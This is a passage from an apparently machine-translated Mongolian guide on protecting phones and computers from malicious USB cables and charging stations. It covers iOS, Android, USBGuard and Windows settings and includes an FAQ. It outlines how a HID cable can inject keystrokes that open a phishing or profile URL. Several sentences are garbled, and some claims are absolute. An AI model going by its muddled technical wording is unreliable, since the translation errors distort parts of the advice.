ирнэ: "Allow accessory '[Device Name]' to connect to this Mac?" Энгийн идэвхгүй цэнэглэгч кабель хэзээ ч өгөгдлийн дагалдах хэрэгсэл болгон холбохыг шаарддаггүй тул энгийн цэнэглэгч утсыг залгах үед гарч ирэх цонхыг харах нь **кабелийг тэр даруйд нь техник хангамжийн суулгац мэт харагдуулахын зэрэгцээ таныг салгах хүртэл товчлуурын даралтыг 100 хувь хаадаг.

2. Apple iPhone & iPad: "USB хязгаарлагдмал горим" идэвхжсэн эсэхийг шалгана уу

  1. Тохиргоо > Нүүрний ID & Нууц код (эсвэл Touch ID & Нууц код)-г нээгээд нууц кодоо оруулна уу.
  2. "Түгжигдсэн үед хандалтыг зөвшөөрөх" хэсэг рүү доош гүйлгэнэ үү.
  3. Дагалдах хэрэгсэл (эсвэл USB дагалдах хэрэгсэл)-ийн хажууд байрлах унтраалга унтраах (саарал) байгаа эсэхийг шалгана уу.
  4. Дагалдах хэрэгсэл-г унтраасан үед таны iPhone түгжигдсэн үед iOS нь USB өгөгдлийн зүүг идэвхгүй болгож, зөвхөн цэнэглэх хүчийг дамжуулах боломжийг олгодог. Танихгүй цэнэглэгч эсвэл түрээсийн машинд залгахаас өмнө iPhone-оо дэлгэцээ түгжихийн тулд хажуугийн товчлуурыг үргэлж дар.

3. Android 15/16 & GrapheneOS: "Дэвшилтэт хамгаалалт" / USB порт түгжээг идэвхжүүлнэ

  • Стандарт Android (Pixel, Samsung Galaxy) дээр:
  • Хэзээ ч бүү орхи Хөгжүүлэгчийн сонголт > USB дибаг хийх (ADB) аялах үед идэвхжүүлсэн.
  • Тохиргоо > Аюулгүй байдал, нууцлал > Аюулгүй байдлын нэмэлт тохиргоо (эсвэл Android 15/16+ дээрх Дэвшилтэт хамгаалалт) хэсэгт USB хамгаалалтыг идэвхжүүлэх / Түгжигдсэн үед шинэ USB төхөөрөмжийг блоклох.
  • Олон нийтийн цэнэглэх порт руу холбогдохын өмнө дэлгэцээ үргэлж түгжиж байгаарай, ингэснээр ChoiceJacking HID халдлага нь түгжээгүй дэлгэцтэй харьцахгүй.

4. Линукс ба Windows Enterprise: USBGuard ба төхөөрөмж суурилуулах хязгаарлалт

  • ** Линукс дээр (USBGuard)**: суулгана уу usbguard демон (sudo apt install usbguard), энэ нь шинээр холбогдсон USB төхөөрөмжийг баталгаажуулахыг хориглодог bInterfaceClass 03 (HID гар) хэрэв үндсэн гарыг аль хэдийн хавсаргасан эсвэл дамжуулан тодорхой зөвшөөрөл өгөх хүртэл usbguard allow-device.
  • Windows 11 Pro / Enterprise дээр: Цөмийн DMA хамгаалалтыг идэвхжүүлнэ (BitLocker + VBS) Thunderbolt/PCIe DMA халдлагыг зогсоож, ажлын станцаа үргэлж түгжихийн тулд Windows-ын аюулгүй байдал > Төхөөрөмжийн аюулгүй байдал > Үндсэн тусгаарлалт дотор (Win + L) ямар нэгэн танил бус USB кабелийг залгахаас өмнө товчлуур дарах инжекторууд нэвтэрсэн ширээний бүрхүүлд хандах боломжгүй.

Байнга асуудаг асуултууд

Зөвхөн утасныхаа дэлгэц түгжигдсэн үед залгагддаг бол хортой O.MG кабель эсвэл BadUSB утас миний iPhone эсвэл Android утсыг эвдэж чадах уу?

Хэрэв таны iPhone байгаа бол Тохиргоо > Нүүрний ID & Нууц код > Түгжигдсэн үед хандахыг зөвшөөрөх > Дагалдах хэрэгсэл эргэв OFF (iOS 15-аас iOS 18 хүртэлх өгөгдмөл) ба кабелийг залгахад таны дэлгэц түгжигдсэн, Ямар ч өгөгдөл эсвэл товчлуур дарснаар таны iPhone-д хүрч чадахгүй Учир нь iOS нь утасныхаа түгжээг Face ID эсвэл нууц кодоор тайлах хүртэл техник хангамжийн удирдлагын түвшинд USB өгөгдлийн шугамыг идэвхгүй болгодог. Гэсэн хэдий ч, таныг O.MG кабель залгасан хэвээр байх үед iPhone утасныхаа түгжээг тайлах үед кабель нь гадаад USB гар гэж нэрлэгдэх ба iOS гарны товчлолыг (жишээ нь) хурдан илгээх боломжтой. Cmd + Зай Spotlight-ыг нээхийн тулд Safari-г фишинг/тохируулгын профайлын URL руу нээнэ үү, эсвэл Apple-ийн товчлолыг идэвхжүүлнэ үү). Утасныхаа түгжээг тайлж байхдаа хэзээ ч олдсон эсвэл найдваргүй USB кабелийг залгаж болохгүй.

Жинхэнэ "Зөвхөн цэнэглэдэг" USB кабель болон ердийн USB өгөгдлийн кабелийг яаж ялгах вэ?

Үйлдвэрлэгчид зөвхөн цэнэглэдэг утсыг өгөгдлийн утсаас ялгах тэмдэгтүүдийг кабель дээр хэвлэх нь ховор байдаг тул хамгийн хялбар найдвартай тест бол компьютер болон хуучин чухал бус төхөөрөмжийн хооронд кабелийг залгах явдал юм (эсвэл 10 долларын үнэтэй USB кабелийн холболтын тасралтгүй байдлыг шалгагч самбар ашиглах). Treedix USB кабель шалгагч, энэ нь ямар ч микроконтроллер ачаалахгүйгээр дотоод утас бүрт тус тусад нь LED гэрэлтүүлдэг). Тасралтгүй байдлыг шалгагч самбар дээр үнэн Зөвхөн цэнэглэдэг кабель гэрэлтэх болно зөвхөн VBUS болон GND (2 LED), харин өгөгдөл дамжуулах боломжтой кабель мөн асна D+ болон D- (болон CC1/TX/RX USB-C дээр). Эсвэл тусгай зориулалтын байлгаарай физик USB Data Blocker адаптер Аялал жуулчлалын цэнэглэгч утасны үзүүрт байнга бэхлэгдсэн байх ба эндээс та эмэгтэй портыг биеэр харж, дундын өгөгдлийн зүү байхгүй байгаа эсэхийг өөрийн нүдээр шалгах боломжтой.

Өөрийнхөө цэнэглэгч кабелийг суурилуулсан USB портын оронд нисэх онгоцны буудал эсвэл зочид буудлын АС цахилгааны залгуурт (2-хоолой / 3-хоолой) залгах нь аюулгүй юу?

Тийм ээ, 100 хувь аюулгүй. Стандарт 110V / 230V хувьсах гүйдлийн цахилгаан ханын залгуур (та Apple, Samsung эсвэл Anker цахилгаан тоосгондоо залгадаг) нь зөвхөн хувьсах гүйдлийн цахилгааныг зөөвөрлөх ба таны утасны USB хянагчтай холбогдох боломжгүй өгөгдөл холболттой. Ашиглаж байгаа л бол өөрийн итгэмжлэгдсэн АС ханын адаптер тоосго болон өөрийн итгэмжлэгдсэн USB кабель, нисэх онгоцны буудал эсвэл зочид буудлын хувьсах гүйдлийн цахилгаан залгуур нь Juice Jacking эсвэл BadUSB халдлага хийх боломжгүй.

USB флаш диск эсвэл электрон тамхи цэнэглэгчийг залгахад Windows яагаад "Төхөөрөмж тохируулах: HID гарын төхөөрөмж" гэж гарч ирсэн бэ?

Windows-ыг харахад шарсан талхны мэдэгдлийн уншилт гарч ирнэ "Төхөөрөмжийг тохируулж байна: HID гарын төхөөрөмж" та ямар нэг зүйлийг залгах үед үгүй гар (USB флэш диск, цэнэглэгч кабель, хямд ширээний сэнс, дижитал зургийн жааз эсвэл вап цэнэглэгч гэх мэт) нь тамхи татах №1 буу юм. BadUSB / HID товчлуур дарах халдлага. Ямар ч хууль ёсны флаш диск эсвэл цэнэглэгч кабель Windows-д гар хэлбэрээр бүртгүүлэх шаардлагагүй. Төхөөрөмжийг нэн даруй салгаад, Wi-Fi-аас салгаад PowerShell-ийг ажиллуул MRU-г ажиллуул болон PSReadLine Хуурамч гар ямар команд бичсэнийг харахын тулд 2-р шатны командуудыг шалгана уу.


Эх сурвалжуудыг шалгасан

  • Холбооны мөрдөх товчоо (FBI) & Холбооны Харилцаа Холбооны Комисс (FCC) (Америкийн Нэгдсэн Улс): Олон нийтийн USB цэнэглэх станцын эрсдэл ("Juice Jacking") болон хортой техник хангамжийн суулгацын талаарх төрийн үйлчилгээний мэдэгдэл.
  • Үндэсний аюулгүй байдлын агентлаг (NSA) & Кибер аюулгүй байдал, дэд бүтцийн аюулгүй байдлын агентлаг (CISA) (Америкийн Нэгдсэн Улс): Мобайл төхөөрөмжийн шилдэг туршлага: Гар утас, зөөврийн компьютер болон USB дагалдах хэрэгслүүдээр аюулгүй аялах.
  • Грацын технологийн их сургууль (TU Graz InfoSec Судалгааны Групп): ChoiceJacking: USB HID Injection (USENIX Security Symposium)-ээр дамжуулан хортой цэнэглэгчээр дамжуулан гар утасны төхөөрөмжийг эвдэх нь.
  • Apple-ийн платформын аюулгүй байдлын гарын авлага: USB хязгаарлагдмал горим, түгжигдсэн үед дагалдах хэрэгслийн хандалт, macOS Apple Silicon USB/Thunderbolt дагалдах хэрэгслийн зөвшөөрлийн архитектур.
  • USB хэрэгжүүлэгчдийн форум (USB-IF): USB Type-C баталгаажуулалт, цахилгаан дамжуулах (USB PD), болон Хүний интерфейсийн төхөөрөмж (HID Ангилал 0x03) Техникийн үзүүлэлтүүд.

Холбогдох хөтөч